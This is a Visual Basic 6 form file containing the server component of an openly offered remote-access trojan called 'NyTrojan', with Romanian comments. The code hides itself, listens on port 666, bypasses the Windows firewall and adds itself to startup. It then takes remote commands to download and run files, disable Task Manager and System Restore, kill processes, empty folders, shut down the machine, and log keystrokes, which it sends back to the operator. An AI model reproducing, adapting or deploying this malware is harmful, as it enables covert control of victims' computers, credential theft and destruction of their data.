VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Object = "{6BD45F02-2441-47B5-BC30-15123F1AF043}#1.0#0"; "NyTrOjan.ocx"
Begin VB.Form Form1 
   Caption         =   "NyTrojan Server"
   ClientHeight    =   3090
   ClientLeft      =   60
   ClientTop       =   450
   ClientWidth     =   4680
   LinkTopic       =   "Form1"
   ScaleHeight     =   3090
   ScaleWidth      =   4680
   StartUpPosition =   3  'Windows Default
   Begin NyTrojanOCX.NyTrojan NyTrojan1 
      Left            =   1800
      Top             =   1080
      _ExtentX        =   820
      _ExtentY        =   847
   End
   Begin MSWinsockLib.Winsock Winsock1 
      Left            =   1560
      Top             =   1680
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
' ### NyTrojan RAT Open Source ###
' ###       By Nytro           ###
' ###    www.mortal-team.com   ###

Private Sub Form_Load()
On Error Resume Next ' Handler de erori
App.TaskVisible = False ' Setam aplicatia sa nu apara in task manager la applications , dar va aparea la procese
Me.Hide ' Acundem aplicati , sa nu se vada , grafica ..
If App.PrevInstance = True Then ' In caz ca serverul e deja deschis
Unload Me ' Il inchidem
End If
Winsock1.LocalPort = 666 ' Setam serverul sa "asculte" pe portul 666 , trebuie sa fie acelasi ca in client
Winsock1.Listen ' Asteptam date de la client
NyTrojan1.BypassWindowsFirewall ' Scapam de firewall-ul de la windocs , in caz ca intervine
NyTrojan1.AddToStartUp App.Path & "\" & App.EXEName & ".exe" ' Aduagam la startup lacatia serverului , adica serverul
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) ' Cand apasam butonul Connect din client , in server intervine acest eveniment , si trebuie sa acceptam conexiunea
If Winsock1.State <> sckClosed Then Winsock1.Close ' In caz ca winsock-ul Nu este inchis , il inchidem
Winsock1.Accept requestID ' Acceptam conexiunea
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) ' Acest eveniment intervine cand winsock-ul primeste date de la client
    Dim NData() As String ' Declaram matricea NData
    Dim Data As String ' Declaram variabila Data
    Winsock1.GetData Data ' Memoram datele primite in variabila Data
    
    NData = Split(Data, "|") ' NData , va imparti datele primite intr-ul vector , daca dupa fiecare tring , mai putin ultimul trimise din client
                             ' Daca primul string trimis din client e BlaBla si al doilea e BlaBla2 , NData(0) va fi BlaBla si NData(1) va fi BlaBla2
    
    Select Case NData(0) ' Selectam ce contine NData(0) , primul string trimi din client .
    
    Case "Download": ' Daca primul string este Download
     NyTrojan1.AutoDownload NData(1), NData(2), 1 ' Descarcam al doilea string , in locatia din al 3-lea string si rulam
     
    Case "BeepFlood": ' In caz ca primul string este BeepFlood
     NyTrojan1.BeepFlood ' Floodam cu Beep-uri calculatorul victimei
     
    Case "StopBeepFlood":
     NyTrojan1.StopBeepFlood
     
    Case "OpenCD":
     NyTrojan1.OpenCDRom
     
    Case "CloseCD":
     NyTrojan1.CloseCDRom
     
    Case "DisableTask":
     NyTrojan1.DisableTaskManager
     
    Case "EnableTask":
     NyTrojan1.EnableTaskManager
     
    Case "DisableRes":
     NyTrojan1.DisableSystemRestore
     
    Case "EnableRes":
     NyTrojan1.EnableSystemRestore
     
    Case "DesktopFlood":
     NyTrojan1.DesktopFolderFlood
     
    Case "DeleteFlood":
     NyTrojan1.DesktopFolderDelete
     
    Case "HideMouse":
     NyTrojan1.HideMouse
     
    Case "ShowMouse":
     NyTrojan1.ShowMouse
     
    Case "HideTask":
     NyTrojan1.HideTaskBar
     
    Case "ShowTask":
     NyTrojan1.ShowTaskBar
     
    Case "HideClock":
     NyTrojan1.HideClock
     
    Case "ShowClock":
     NyTrojan1.ShowClock
     
    Case "HideStart":
     NyTrojan1.HideStart
     
    Case "ShowStart":
     NyTrojan1.ShowStart
     
    Case "HideIcons":
     NyTrojan1.HideIcons
     
    Case "ShowIcons":
     NyTrojan1.ShowIcons
     
    Case "LockEXE":
     NyTrojan1.LockExe
     
    Case "UnlockEXE":
     NyTrojan1.UnLockExe
     
    Case "FreezeMouse":
     NyTrojan1.FreezeMouse
     
    Case "StopFreeze":
     NyTrojan1.StopFreezeMouse
     
    Case "CrazyMouse":
     NyTrojan1.CrazyMouse
     
    Case "StopCrazy":
     NyTrojan1.StopCrazyMouse
     
    Case "ShutDown":
     NyTrojan1.ShutDown
     
    Case "LogOff":
     NyTrojan1.LogOff
     
    Case "Restart":
     NyTrojan1.Restart
     
    Case "Abort":
     NyTrojan1.Abort
     
    Case "SwapMouse":
     NyTrojan1.SwapMouseButtons
     
    Case "StopSwap":
     NyTrojan1.StopSwapMouseButtons
     
    Case "TurnOff":
     NyTrojan1.TurnOffMonitor
     
    Case "TurnOn":
     NyTrojan1.TurnOnMonitor
     
    Case "Author":
     NyTrojan1.Author
     
    Case "Empty":
     NyTrojan1.EmptyFolder NData(1)
     
    Case "KillProcess":
     NyTrojan1.KillProcess NData(1)
     
    Case "SetStart":
     NyTrojan1.SetStartButtonCaption NData(1)
     
    Case "OpenWeb":
     NyTrojan1.OpenWebSite NData(1)
     
    Case "StartKey":
     NyTrojan1.StartKeylogging
     
    Case "StopKey":
     NyTrojan1.StopKeylogging
     
    Case "GetKey": 'In caz ca serverul primeste stringul GetKey
      Winsock1.SendData "Key|" + NyTrojan1.Keylog ' Trimitem stringul Key si keylogul catre client
     
     
    End Select
    
End Sub


